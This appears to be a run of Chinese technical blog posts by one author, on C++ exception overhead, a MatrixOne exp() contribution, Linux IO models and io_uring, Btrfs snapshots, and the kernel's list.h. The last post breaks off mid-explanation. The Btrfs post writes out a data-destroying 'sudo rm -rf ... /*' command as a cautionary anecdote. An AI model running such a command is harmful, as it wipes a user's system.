起因

这件事的开端有些离奇，Y7n05h 在完成 Leetcode 题目 LRU Cache 时写出了这样的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

class LRUCache {
    struct DoubleLinkListNode {
        DoubleLinkListNode *prev;
        DoubleLinkListNode *next;
        int key;
        int value;
    };
    class DoubleLinkList {
        DoubleLinkListNode head;
        DoubleLinkListNode tail;

    public:
        int size{};
        DoubleLinkList() {
            head.prev = nullptr;
            head.next = &tail;
            tail.next = nullptr;
            tail.prev = &head;
        }
        void moveToHead(DoubleLinkListNode *node) {
            node->prev->next = node->next;
            node->next->prev = node->prev;

            node->next = head.next;
            node->prev = &head;

            head.next->prev = node;
            head.next = node;
        }
        DoubleLinkListNode *back() const {
            return tail.prev;
        }
        DoubleLinkListNode *newNode(int key, int value) {
            auto *node = new DoubleLinkListNode;

            node->next = head.next;
            node->prev = &head;

            head.next->prev = node;
            head.next = node;

            node->key = key;
            node->value = value;
            ++size;
            return node;
        }
    };


public:
    LRUCache(int capacity) : cap(capacity) {
    }


    int get(int key) {
        try {
            auto *node = map.at(key);
            list.moveToHead(node);
            return node->value;
        } catch (std::out_of_range &) {
            return -1;
        }
        return -1;
    }

    void put(int key, int value) {
        try {
            auto *node = map.at(key);
            node->key = key;
            node->value = value;
            list.moveToHead(node);
        } catch (std::out_of_range &) {
            if (list.size == cap) {
                auto *node = list.back();
                map.erase(node->key);
                map[key] = node;
                node->key = key;
                node->value = value;
                list.moveToHead(node);
            } else {
                auto *node = list.newNode(key, value);
                map[key] = node;
            }
        }
    }


    int cap = 0;
    DoubleLinkList list;
    unordered_map<int, DoubleLinkListNode *> map;
};

这样的代码虽然被 Accept 了，但性能并不好，在运行时间上只击败了 5% 的 C++ 提交。对此成绩，Y7n05h 属实不能接受。

代码中对以元素的查找都是$O(1)$的，链表的访问也都是从头尾访问或是直接通过指针访问链表节点，甚至链表节点也会被复用，减少内存分配器的开销。
排除众多无可优化之处，Y7n05h 凭借直觉认为是 异常 拖慢了程序的运行。

这也好办，只需修改 LRUCache::get 和 LRUCache::put 即可。可以看到，代码中对异常的应用实际上只有用来检测 key 是否在 map 中。那么改用 std::unordered_map::count 来判断就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

int get(int key) {
    if (map.count(key) == 0)
        return -1;
    auto *node = map.at(key);
    list.moveToHead(node);
    return node->value;
}

void put(int key, int value) {
    if (map.count(key)) {
        auto *node = map.at(key);
        node->key = key;
        node->value = value;
        list.moveToHead(node);
        return;
    }
    if (list.size == cap) {
        auto *node = list.back();
        map.erase(node->key);
        map[key] = node;
        node->key = key;
        node->value = value;
        list.moveToHead(node);
    } else {
        auto *node = list.newNode(key, value);
        map[key] = node;
    }
}

修改后，代码的运行时间击败了 90% 左右的提交。

那么问题来了，为什么一个异常对性能的影响这么大？

性能分析

为了本地环境测试两版程序的性能，Y7n05h 编写了如下测试代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

int main() {
    LRUCache cache(2);
    for (int i = 0; i < 1000000; i++) {
        cache.put(1, 0);
        cache.put(2, 2);             
        printf("%d\n", cache.get(1));
        cache.put(3, 3);             
        printf("%d\n", cache.get(2));
        cache.put(4, 4);             
        printf("%d\n", cache.get(1));
        printf("%d\n", cache.get(3));
        printf("%d\n", cache.get(4));
    }
}

两版程序均使用相同的编译参数进行编译：

1

clang++ -stdlib=libc++ -O2 -flto -g lru1.cpp

为了尽可能展现现代 C++ 程序所能获得的编译器优化后的性能差异，Y7n05h 开启了 O2 和 lto。

测试环境：

1
2
3
4
5
6

clang version: 13.0.1
libc++: 13.0.1
Linux Kernel version: 5.17.5
glibc version: 2.35
gcc-libs: 11.2.0
perf: 5.17

这是使用异常机制的程序性能火焰图：

这是不使用异常机制的程序性能火焰图：

如果这还不够明显，那还可依看看 perf diff 的输出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

21.05%    -19.30%  libc.so.6             [.] __vfprintf_internal
          +18.98%  libgcc_s.so.1         [.] execute_cfa_program
          +13.11%  libgcc_s.so.1         [.] uw_frame_state_for
12.12%    -11.31%  libc.so.6             [.] _IO_file_xsputn
11.84%    -10.64%  libc.so.6             [.] __write
          +10.49%  libgcc_s.so.1         [.] uw_update_context_1
           +9.05%  libgcc_s.so.1         [.] _Unwind_IteratePhdrCallback
           +4.76%  libc++abi.so.1.0      [.] __gxx_personality_v0
 4.86%     -4.48%  libc.so.6             [.] _IO_file_write
 4.20%     -3.84%  libc.so.6             [.] new_do_write
           +3.60%  libc++abi.so.1.0      [.] __cxa_call_unexpected
           +3.47%  libgcc_s.so.1         [.] uw_install_context_1
           +3.44%  libgcc_s.so.1         [.] read_encoded_value_with_base
           +3.28%  libc.so.6             [.] __strlen_avx2

可以看到 execute_cfa_program、uw_frame_state_for、uw_update_context_1 在改动前后变化很大。一个重要线索是这些和栈展开有关的函数都在 libgcc_s.so.1 中。

从此处可知， clang 编译的程序也是使用 libgcc 实现的栈展开机制。

异常的实现

在此前 Y7n05h 只知道异常的原理是栈展开，但对细节一概不知道。借这次的机会来稍微看看异常处理的原理吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

/* SimpleException.cpp */
#include <cstdio>
#include <cstdlib>
#include <exception>
void bar(unsigned int n) {
  if (n & 1) {
    throw std::exception();
  }
}

void foo(int n) {
  try {
    bar(n);
  } catch (...) {
    printf("exception\n");
  }
  printf("End\n");
}
int main(int argc, char *argv[]) { foo(atoi(argv[1])); }

看看 bar 函数的反汇编（使用 Intel 风格）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

0x0000000000401995 <+0>:     push   rbp
0x0000000000401996 <+1>:     mov    rbp,rsp
0x0000000000401999 <+4>:     push   rbx
0x000000000040199a <+5>:     sub    rsp,0x18
0x000000000040199e <+9>:     mov    DWORD PTR [rbp-0x14],edi
0x00000000004019a1 <+12>:    mov    eax,DWORD PTR [rbp-0x14]
0x00000000004019a4 <+15>:    and    eax,0x1
0x00000000004019a7 <+18>:    test   eax,eax
0x00000000004019a9 <+20>:    je     0x4019dc <bar(unsigned int)+71>
0x00000000004019ab <+22>:    mov    edi,0x8
0x00000000004019b0 <+27>:    call   0x401dc0 <__cxa_allocate_exception>
0x00000000004019b5 <+32>:    mov    rbx,rax
0x00000000004019b8 <+35>:    mov    rdi,rbx
0x00000000004019bb <+38>:    call   0x401a96 <std::exception::exception()>
0x00000000004019c0 <+43>:    mov    rax,0x402080
0x00000000004019c7 <+50>:    mov    rdx,rax
0x00000000004019ca <+53>:    lea    rax,[rip+0xc7dc7]        # 0x4c9798 <typeinfo for std::exception>
0x00000000004019d1 <+60>:    mov    rsi,rax
0x00000000004019d4 <+63>:    mov    rdi,rbx
0x00000000004019d7 <+66>:    call   0x402e30 <__cxa_throw>
0x00000000004019dc <+71>:    nop
0x00000000004019dd <+72>:    mov    rbx,QWORD PTR [rbp-0x8]
0x00000000004019e1 <+76>:    leave  
0x00000000004019e2 <+77>:    ret  

可以看到汇编中使用 __cxa_throw 将异常抛出，call __cxa_throw 执行结束并不返回到后面的一条汇编，而是跳转到对应的 catch 语句（后文会提及）或 terminate（如果异常不被 catch）。

这是在抛出异常时的部分调用栈（箭头由 调用者 指向 被调用者）：

__cxa_throw -> _Unwind_RaiseException -> uw_init_context_1 -> uw_frame_state_for -> _Unwind_Find_FDE -> search_object -> classify_object_over_fdes

__cxa_throw -> _Unwind_RaiseException -> uw_init_context_1 -> uw_frame_state_for -> execute_cfa_program

对这段代码涉及的代码不算太长但也不短，感兴趣的读者可以去 gcc 的源码里面自行查找，Y7n05h 在这里就不放了。

看到这些函数，就不会问出：「一次异常和一次 if-else 的性能比较」的问题了。

注：和一次 if-else 相比，异常机制 必然 有更多的开销。因为抛出异常的机制的代码数量和单次 if-else 相比是多个数量级的差异，根本没有比较的意义。但用这样的对比来说明「错误码」和「异常」这两种错误处理的机制的性能是荒谬的（详见下文）。

因此，异常机制对代码的 bad path 是通常是劣化。

刚刚看完了 throw 的实现，再看看 catch：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

0x00000000004019e3 <+0>:     push   rbp
0x00000000004019e4 <+1>:     mov    rbp,rsp
0x00000000004019e7 <+4>:     push   rbx
0x00000000004019e8 <+5>:     sub    rsp,0x18
0x00000000004019ec <+9>:     mov    DWORD PTR [rbp-0x14],edi
0x00000000004019ef <+12>:    mov    eax,DWORD PTR [rbp-0x14]
0x00000000004019f2 <+15>:    mov    edi,eax
0x00000000004019f4 <+17>:    call   0x401995 <bar(unsigned int)>
0x00000000004019f9 <+22>:    lea    rax,[rip+0x98604]        # 0x49a004
0x0000000000401a00 <+29>:    mov    rdi,rax
0x0000000000401a03 <+32>:    call   0x421a00 <puts>
0x0000000000401a08 <+37>:    jmp    0x401a3b <foo(int)+88>
0x0000000000401a0a <+39>:    mov    rdi,rax
0x0000000000401a0d <+42>:    call   0x401f30 <__cxa_begin_catch>
0x0000000000401a12 <+47>:    lea    rax,[rip+0x985ef]        # 0x49a008
0x0000000000401a19 <+54>:    mov    rdi,rax
0x0000000000401a1c <+57>:    call   0x421a00 <puts>
0x0000000000401a21 <+62>:    call   0x401fa0 <__cxa_end_catch>
0x0000000000401a26 <+67>:    jmp    0x4019f9 <foo(int)+22>
0x0000000000401a28 <+69>:    mov    rbx,rax
0x0000000000401a2b <+72>:    call   0x401fa0 <__cxa_end_catch>
0x0000000000401a30 <+77>:    mov    rax,rbx
0x0000000000401a33 <+80>:    mov    rdi,rax
0x0000000000401a36 <+83>:    call   0x4102f0 <_Unwind_Resume>
0x0000000000401a3b <+88>:    mov    rbx,QWORD PTR [rbp-0x8]
0x0000000000401a3f <+92>:    leave
0x0000000000401a40 <+93>:    ret

若 bar 不抛出异常，0x00000000004019f4 <+17>: call 0x401995 <bar(unsigned int)> 执行完成后会正常返回至 0x00000000004019f9 <+22>: lea rax,[rip+0x98604] # 0x49a004；若 bar 抛出异常，执行完这次 0x00000000004019f4 <+17>: call 0x401995 <bar(unsigned int)> 后会回到 0x0000000000401a0a <+39>: mov rdi,rax。
可以看到这个 try { ... } 其实并没有开销，开销在 catch 上。
与使用错误码相比，使用异常的方案在 happy path（不抛出异常的情况） 上，消除了一次条件跳转（或多次条件跳转，如果结果需要在多层函数调用间逐层返回的话），众所周知，条件跳转是有可能带来 分支预测惩罚 的。因此，异常机制对代码的 happy path 是优化。

再看看 __cxa_begin_catch 和 __cxa_end_catch 的部分调用栈（箭头由 调用者 指向 被调用者）：

__cxa_begin_catch -> __cxa_get_globals

__cxa_end_catch -> __cxa_get_globals_fast
__cxa_end_catch -> _Unwind_DeleteException

这些调用栈都很浅。对整个 throw、catch 的机制来说，复杂度在 throw 上，catch 只做了很少的工作，这一点从调用栈的长度也能看出一点端倪。

是否该使用异常？

上文的讨论中，已经说明了异常机制在代码的 happy path 比错误码具有更多的优势，在 bad path 与错误码相比则具有劣势。
在较深的调用栈中逐层返回错误码可能需要使用多次 if-else 完成多次条件跳转，这也带来了多次潜在的 分支预测惩罚 。此时使用异常所需的成本 可能 相对较低。

高效使用异常必然该是 扬长避短 的，只讨论 happy path 上 exception 的优势，或是只讨论 bad path 上 exception 的劣势都是片面的。
讨论异常的使用必然需要综合这两方面的影响。
因此，在绝大多数情况都在 happy path 时，happy path 带来的优化比 bad path 带来的劣化多，使用异常才比使用错误码有优势。

回到最开始的 leetcode 题目上去，异常在查找 LRU 缓存中不存在的 key 时被抛出，显然不是（至少在这个测试的情景中显然不是）极少数情况。Y7n05h 在这里的对异常的用法，将异常作为了一种常见情况的控制流，已经背离了扬长避短的做法，性能差也就不奇怪了。

更详细、严谨的说明异常和一些别的处理错误的方式的比较，以及何时该使用异常请看参考资料 1 和参考资料 2。

异常的原理

对于 Y7n05h 而言，至此已经解决所遇到的问题了：异常有多慢，异常的正确使用场景是什么也都有了答案。
这一段只是为了浅浅的看看为什么 throw 会那么慢，这也就需要看看 __cxa_throw 究竟是怎么实现的。

如需详细、具体的了解 C++ 异常的实现原理请看参考资料 3，那是非常棒的资料。

—

在抛出异常时，程序需要在 ELF 的 .eh_frame section 的信息的指导下完成对栈的两次遍历（一次用来查找 catch 一次用来逐层的对栈上的元素执行析构）。

.eh_frame section 占据的空间一点也不小。
对上面用作示例的 SimpleException.cpp 程序 .eh_frame section 占据了 0x108 bytes，而 .text section 也才占据了 0x1ef bytes。

参考资料

¹：Bjarne Stroustrup. C++ exceptions and alternatives[G/OL]. http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p1947r0.pdf.
²：Herb Sutter. Zero-overhead deterministic exceptions: Throwing values[G/OL]. http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p0709r4.pdf.
³：Nico Brailovsky. C++ exceptions under the hood[G/OL]. https://monkeywritescode.blogspot.com/p/c-exceptions-under-hood.html.
⁴：江召伟. c++ 异常处理[G/OL]. https://www.cnblogs.com/jiangzhaowei/p/4989197.html.

初识

这里也还没听说过 MatrixOne 的读者介绍一下：

MatrixOne is a future-oriented hyper-converged cloud and edge native DBMS that supports transactional, analytical, and streaming workloads with a simplified and distributed database engine, across multiple data centers, clouds, edges and other heterogeneous infrastructures.[1]

以 Y7n05h 的个人感受，这是一个正在蓬勃发展的社区。仅仅是最近几天 Github 的主分支上就已经有了很多的提交。

恰逢 Y7n05h 对数据库系统的设计还是非常感兴趣的，Y7n05h 还是像去参与进去看看能不能完成一些社区所需要的功能。

参与

当然，要参与社区贡献，那也不是随随便便就参与的。首先，Y7n05h 看了下 CoC，仔细的看了下里面的条款，Y7n05h 认为里面的内容和自己的价值观是基本基本一致的，也是一个很包容新的参与者的社区。又看了一项目的下 License，发现是 Apache-2.0 这也是 FSF 和 OSI 共同批准的自由软件/自由软件许可证。

看完这些 Y7n05h 对 MatrixOne 社区也没有别的顾虑了，放心的在 issues 里面找了个带有 good first issue 标签的简单的 issues 去完成。

[Feature Request]: Mathematical Built-in function exp()

这就是 Y7n05h 决定去完成的 issue 了。
这个 issues 就是去实现 exp() 这个函数，也就是数学中的 $e^x$ 。issues 中给出了一个十分详细的文档 用来指导贡献者如何为 MatrixOne 添加一个新的内置函数。

说回 exp() ，这是一个常见的数学函数，为了便于说明，Y7n05h 还是放出他的图像。

相信中学的知识足够得出它的定义域是 $R$ 值域是 $(0,+\infty)$ 。

感觉这函数的数学特性，需要作出一些合理的设计。首先要想的是这个函数的返回值该是什么类型。
Y7n05h 想过，是否该接受一个整数类型的输入并返回一个小数部分被阶段的整数类型的结果。但这是不合理的。因为 $e^{45}$ 即使存储在 Uint64 里面也会发生整数溢出。也就意味着，倘若返回一个整数，若以任何大于等于 45 的整数作为参数进行调用 exp() 都会得到一个溢出后的数据。这显然是不可接受的。
那么，如何解决这种困境呢？通过将返回类型更改为浮点数这样不但在输入较小时不受指数函数的爆炸式增长的影响，且在输入数据较大时能够以精度的损失为代价保存下结果的近似值。

因此，不难想到，接受任意的整数或浮点数类型，并输出一个 float64 是一个最合适的选择。

下面的困难就是如何完成这个内置函数了。关于实现这个函数，根据 文档，只需要完成：

• 注册函数的类型
• 实现函数
  这两个步骤既可。

写完这些之后，也还需要对函数的实现部分撰写单元测试。

上述内容实际上也就设计 4 个文件的更改。

在刚开始的时候，虽然有十分详细的文档，但 Y7n05h 也不能很好的理解整个函数实现方法，加之对这个项目是第一次接触，不能正确的理解项目的复杂结构（虽说 Y7n05h 只要看懂部分的结构就够了，但那是 Y7n05h 连部分结构也都没看明白）。
但这也并非无解。项目的源码里面，log()、ln()、abs() 这些函数的实现方式与 exp() 其实是十分类似的，已有的实现其实是文档未尽之处的最好补充。因此，Y7n05h 通过参考这些函数的实现最终完成了这个 issues。

参考资料

¹. matrixone.[G/OL].https://github.com/matrixorigin/matrixone/blob/main/README.md. ↩

历史的接口

IO 一直是件麻烦事．对冯诺依曼模型的计算机来说，IO 可以说是计算的开始和结束．因此 IO 十分麻烦，但异常重要．
高效的 IO 方式，是构建高效的应用程序必不可少的，更是计算机科学家与工程师们一直探讨的话题．

在本文中，笔者将简要的回顾 Linux Kernel 已有的 IO 接口．

注：本文不涉及 io_uring 的用法．如需了解 io_uring 的用法请直接查看本文参考资料．

同步接口

常见的 read、write 等 syscall 都是同步 IO 的接口．
read、write 类系统调用也衍生出了带有偏移量的接口 pread、pwrite 向量读写的接口 readv、writev 和具有两者特性的 preadv、pwritev，后来又出现为 preadv、pwritev 加上 flag 字段的 preadv2、pwritev2 接口．

说了这些，但究竟什么是同步？

同步接口最鲜明的特征就是应用程序：要么在执行应用程序中的用户代码；要么在因完成 IO．
听起来可能有人觉得模糊，请看下面这张图．同步 就是「IO 的完成」是在「请求执行 IO 的时候」（Y7n05h 嘴笨实在不知道该怎么组织语言解释了）

在图中：

• 紫色代表应用程序在执行用户代码
• 红色代表应用程序在完成 IO

我们可以看到，紫色块和红色块在时间上没有任何的重叠区域．完成 IO 不会和用户代码同时进行．

Y7n05h 猜测一定有读者想说，为什么都说了这么多了，没有提及 阻塞 和 非阻塞 哪怕一句．

这里请允许 Y7n05h 先说异步 IO．因为很多人把 非阻塞 和 异步 混为一谈．Y7n05h 认为先说明异步 IO 有助于理解这二者的概念．

异步接口

同步的反面是异步．

异步就是应用程序只需要提交一次 IO 的请求，由别的组件（通常是内核）来完成完成这次 IO，并在 IO 完成时告诉应用程序 IO 已经完成．

注：有经验的读者一定发现 Y7n05h 在此处刻意模糊了内核在 IO 中的作用，也未提及系统调用导致的陷入内核态等行为．这是为了使本文对异步的描述也适用于 ASIO 等用户态对异步 IO 的实现．

如下图：应用程序无需间断对代码的执行，只需要提交一次请求，即可静待别人（通常是内核）完成 IO．

对于异步 IO ：这就好比一个聪明的老板（类比应用程序）请了一个高明的助理，收发文书（类比 IO 行为）之类的事情，只需要老板吩咐一声，助理就好办妥当．助理办妥当后，告诉老板这件事办好了即可．老板只需要接着做自己的事（类比执行代码）．

对于同步 IO ：这就好比一个没有助理的老板（类比应用程序），收发文书（类比 IO 行为）之类的事情也得自己干．忙着收发文书就不能做自己的事情（类比执行代码）了．

阻塞与非阻塞

谈阻塞和非阻塞就一定谈谈内核了．
在 Linux 系统中，无论采用阻塞 IO 还是非阻塞 IO，若 IO 已经准备好了，那么会立刻返回．
阻塞和非阻塞的区别仅限于 IO 尚未准备就绪的情况下（例如写管道缓冲区已满、读 socket 但尚无数据到达）．这类场景，在在使用非阻塞 IO 的系统调用时，系统调用会立刻返回，并通过返回值和 errno 告诉调用者出现了错误．但若是使用阻塞 IO 的系统调用，则会继续等待制止 IO 完成．

Q：那么阻塞与否和同步、异步又有什么关系？
A：平日说的阻塞与非阻塞大多数情景是指同步阻塞和同步非阻塞．对于异步 IO 是否阻塞的问题，通常不做探讨．

为什么？那就要接着回顾 IO 接口的发展了．

众所周知，无论是网络 IO 还是硬盘 IO，其速度远低于 CPU 的运行速度．因此，等待 IO 浪费了应用程序原本可以执行很多事务的时间．追求高性能的应用程序自然不肯什么都不做静静的等待 IO 的发生．
在 Y7n05h 看来 同步非阻塞 的 IO 调用就是为了解决应用程序长时间等待 IO 浪费时间的问题．使用阻塞 IO 之后，应用程序自然可以过每过一小段时间尝试一次 IO 是否已经就绪，别的时间继续用来做别的事，这也就是是所谓的 轮询．
倘若一个 IO 密集型应用（例如一个服务器）那么可能需要同时处理大量的 IO 请求，当然遍历并轮询所有的 IO 是否就绪是一个做法．内核也提供了相关的设施用来完成遍历并轮询的操作（select、poll） ，但这在同步 IO 中也不是一个最好的做法．内核还提供了 epoll 这种机制，当内核通过中断机制得知有 IO 时间发生时通知应用程序．这样便避免了遍历之苦也提高了 IO 的效率．这也就是 IO 的多路复用了．

非阻塞 IO 的语义是：试一试，若能完成 IO 就完成；完不成就算了．

说了这么多，我想读者一定发现了：非阻塞 IO 无非是想提高 CPU 的利用率．

谈回异步，既然异步 IO 已经不可能卡住应用程序的代码了．那么阻塞与否就已经没了意义．
不但非阻塞在异步 IO 中没有意义，反而会制造麻烦．何处此言？因为非阻塞 IO 遇到 IO 未就绪时会直接返回．

回到之前老板请助理的例子．老板一定不会希望他请助理去送一份文件，仅仅是因为助理没找到收件人就回来向他报告失败，而是希望他去等收件人回来再把文件交给他．这才是一个聪明的助理．异步 IO 完美的符合了这一切的标准．

io_uring 一统天下

在 io_uring 出现之前，追求高性能 IO 的应用程序有这几种常见做法：

• 针对文件 IO 可采用 AIO 异步接口．
• epoll + 同步非阻塞．
• 使用类似 boost Asio 的方式，使用 IO 线程模拟异步接口．

但这几种方式都有自己的问题：

• AIO 仅支持文件 Direct IO．
• epoll + 同步非阻塞在大量连接的高并发场景中比 io_uring 有更高的开销和更高的延迟．
• boost Asio 与 io_uring 同为异步接口，但 io_uring 的在内核态的实现比在用户态基于多线程模拟异步 IO 更高效．
  可以说，AIO 被 io_uring 最主要是因为 AIO 的应用面太窄．而「epoll 同步非阻塞」和「boost Asio」被 io_uring 打败是因为 io_uring 的性能更好．

但 io_uring 并非没有缺点．

可移植性差．
这是 io_uring 的一个硬伤．io_uring 是 Linux 5.1 中加入的新接口．且 io_uring 还有部分特性在 5.6 才最终加入．因此想体验 io_uring 的一个相对完整的特性可能需要 Linux Kernel 5.6+．（虽然 Linux Kernel 5.6 中的 io_uring 已经相对完整了，但 Linux Kernel 5.10-5.15 中也为 io_uring 添加了更多的新特性）

接口复杂．
注意到了吗？io_uring 代替的是 「epoll + 同步非阻塞」而不仅仅是 epoll．为了支持各种 IO 调用，io_uring 通过庞大 struct io_uring_sqe 描述各种各样的 IO 请求．但 io_uring 接口的复杂性不仅仅体现在这里．io_uring_setup、io_uring_enter、io_uring_register 看似仅仅只有 3 个系统调用，但它们却都分别支持了十多个 flag 来改变系统调用的行为．

那么 io_uring 的性能为什么会好呢？

• 内核和用户态通过 mmap 共享 io_uring 相关的部分数据结构．
• 内核可以并行执行应用程序提交的 IO 请求．
• 节省系统调用次数．将 IO 请求放入提交队列（SQ）即可，无需通过中断陷入内核执行系统调用．

MoreInfo

本文到这里就结束了．读者可能会觉得有点突兀，但 Y7n05h 写本文的意愿本就不是去介绍 io_uring 的用法．本文仅仅是为了科普这几种不同的 IO 的方式的区别，区分 「阻塞」 与 「非阻塞」 这一对概念和 「同步」与「异步」这一堆概念．对于需要详细了解 io_uring 的读者，请看下面的 参考资料．

参考资料

¹. Efficient IO with io_uring.[G/OL].https://kernel.dk/io_uring.pdf. ↩

². What is io_uring?. [G/OL]. Lord of the io_uring, https://unixism.net/loti/what_is_io_uring.html. ↩

³. IO_URING(7). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring.7. ↩

⁴. IO_URING_SETUP(2). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring_setup.2. ↩

⁵. IO_URING_ENTER(2). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring_enter.2. ↩

⁶. IO_URING_REGISTER(2). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring_register.2. ↩

和其他的 ArchLinux 的用户一样，Y7n05h 也很热衷于尝试一些有趣且实用的技术．

Btrfs 早就因 Cow、透明压缩和子卷管理让 Y7n05h 感到心动．在此早在本文写作的 1 年之前，Y7n05h 就尝试过了 Btrfs 这一 Linux Kernel 的源码树内 fs.
当时 Y7n05h 只是浅层次的使用 btrfs（btrfs 具有而 xfs 没有的功能 Y7n05h 没用到），到了现在 Y7n05h 也尝试过了 btrfs 的很多特性，并且 Y7n05h 开始认为这些特性对 Y7n05h 很重要．
下面，就请允许 Y7n05h 聊聊对此的认识吧．

子卷管理

既然都说道了子卷的管理，那就先说一下子卷是什么：

A Btrfs subvolume is an independently mountable POSIX filetree and not a block device (and cannot be treated as one). Most other POSIX filesystems have a single mountable root, Btrfs has an independent mountable root for the volume (top level subvolume) and for each subvolume; a Btrfs volume can contain more than a single filetree, it can contain a forest of filetrees. A Btrfs subvolume can be thought of as a POSIX file namespace.[1]

为了简化理解困难，在初始 btrfs 的时候，不妨将子卷理解为多个不同的分区．

子卷的常见布局可以参考：这里．

快照

粗略的说完 子卷，那么我们可以谈谈快照了．

• Q：为什么要使用快照？
• A：快照是为了恢复回滚，这是所有人都知道的事情．但说我为什么需要他的话，就是给自己错误操作后留下更多的补救的余地，避免重装系统．还能为应用程序错误导致系统故障或崩溃提供方便的恢复方式．我想快照的用途是不言自明的．

tip
TIP

或许有人会说，你注意点，别进行错误操作，只要谨慎的使用命令，就用不到快照．

当然，Y7n05h 也不希望有用快照恢复的情景出现．毕竟出现恢复的情景就已经意味着故障的发生了．但错误的出现有时是难以简单的通过谨慎的方式来避免的．在使用 Linux 命令时，谨慎的操作是必要的，但真的当 bad 的情况出现时，快照则是迅速将崩溃的系统拉出泥潭的有力工具．

举个例子：
Y7n05h 曾为了清除某文件夹下面的所有文件，本想使用命令 sudo rm -rf test/* 没主要到多输入了一个空格，成为了 sudo rm -rf test /*，导致错误的执行了删除 /* 的命令．最后只好用重装系统来解决问题．

btrfs 现如今只支持对 btrfs 子卷进行快照，而快照也会以 btrfs 的一个特殊的子卷的方式存在．
至于创建快照与删除快照的方式，可查看 ArchLinuxWiki-Btrfs#Snapshots 或者 Btrfs Wiki 中的相关内容．在本文中不给出具体的命令也是希望看到本文想去尝试 btrfs 的读者认真的阅读 wiki 与相关文档并审慎的做出决定，而不仅仅是受到了 Y7n05h 的鼓动．

自动快照

得益于 Btrfs 上相对廉价的快照开销，频繁的使用快照也并不总是不可接受的．

snapper

Y7n05h 使用来自 openSUSE snapper) 完成自动化的 btrfs 快照．
snapper 会在每小时为 btrfs 子卷进行一次快照，并自动的删除旧的快照．

在默认配置下，snapper 将保留 10 个每小时快照，10 个每日快照，10 个每月快照和 10 个每年快照。[2]

btrfs-autosnapshot

当然，来自 lilydjwg 的 btrfs-autosnapshot 同样是不错的工具．
btrfs-autosnapshot 作为一个 python 脚本，提供了一种更自定义的方式来控制快照的创建和清理．

参考资料

¹. BtrfsWiki编者. SysadminGuide[G/OL]. BtrfsWiki, https://btrfs.wiki.kernel.org/index.php/SysadminGuide#Subvolumes. ↩

². ArchWiki编者. Installation guide (简体中文)[G/OL]. ArchWiki, https://wiki.archlinux.org/index.php/Installation_guide_(简体中文). ↩

³. farseerfc. Btrfs vs ZFS 实现 snapshot 的差异[G/OL]. Farseerfc的小窝, https://farseerfc.me/zhs/btrfs-vs-zfs-difference-in-implementing-snapshots.html. ↩

有一段时间没认真写博客了，没能一直坚持着，实在让 Y7n05h 感到惭愧，所以今天写出本文也算是补救一下吧．

info
License
本文引用了部分来自 Linux Kernel 的源码，源码取自 LinuxKernel v2.6.34 基于 GPLv2．

list.h 源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

/*
 * Simple doubly linked list implementation.
 *
 * Some of the internal functions ("__xxx") are useful when
 * manipulating whole lists rather than single entries, as
 * sometimes we already know the next/prev entries and we can
 * generate better code by using them directly rather than
 * using the generic single-entry routines.
 */

struct list_head {
	struct list_head *next, *prev;
};

#define LIST_HEAD_INIT(name) { &(name), &(name) }

#define LIST_HEAD(name) \
	struct list_head name = LIST_HEAD_INIT(name)

static inline void INIT_LIST_HEAD(struct list_head *list)
{
	list->next = list;
	list->prev = list;
}

这里是链表的核心结构，实现双向循环链表的初始化．

1
2
3
4
5
6
7
8
9

static inline void __list_add(struct list_head *new,
			      struct list_head *prev,
			      struct list_head *next)
{
	next->prev = new;
	new->next = next;
	new->prev = prev;
	prev->next = new;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

/**
 * list_add - add a new entry
 * @new: new entry to be added
 * @head: list head to add it after
 *
 * Insert a new entry after the specified head.
 * This is good for implementing stacks.
 */
static inline void list_add(struct list_head *new, struct list_head *head)
{
	__list_add(new, head, head->next);
}


/**
 * list_add_tail - add a new entry
 * @new: new entry to be added
 * @head: list head to add it before
 *
 * Insert a new entry before the specified head.
 * This is useful for implementing queues.
 */
static inline void list_add_tail(struct list_head *new, struct list_head *head)
{
	__list_add(new, head->prev, head);
}

关于插入也没什么需要过度解释的，唯一想说说的是 inline 的使用消除了函数调用的开销，当然代价是内核大小的增大，但我想这点代价是值得的．
当然，这里对 __list_add() 的复用和对两种不同的插入方式的抽象是十分精彩的．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

/*
 * Delete a list entry by making the prev/next entries
 * point to each other.
 *
 * This is only for internal list manipulation where we know
 * the prev/next entries already!
 */
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
	next->prev = prev;
	prev->next = next;
}

/**
 * list_del - deletes entry from list.
 * @entry: the element to delete from the list.
 * Note: list_empty() on entry does not return true after this, the entry is
 * in an undefined state.
 */
#ifndef CONFIG_DEBUG_LIST
static inline void list_del(struct list_head *entry)
{
	__list_del(entry->prev, entry->next);
	entry->next = LIST_POISON1;
	entry->prev = LIST_POISON2;
}
#else
extern void list_del(struct list_head *entry);
#endif

关于这里，也没什么能产生太大疑惑的地方，唯一要好奇的可能是为什么要把被删除的链表节点的指针置为 LIST_POISON1 或 LIST_POISON2？
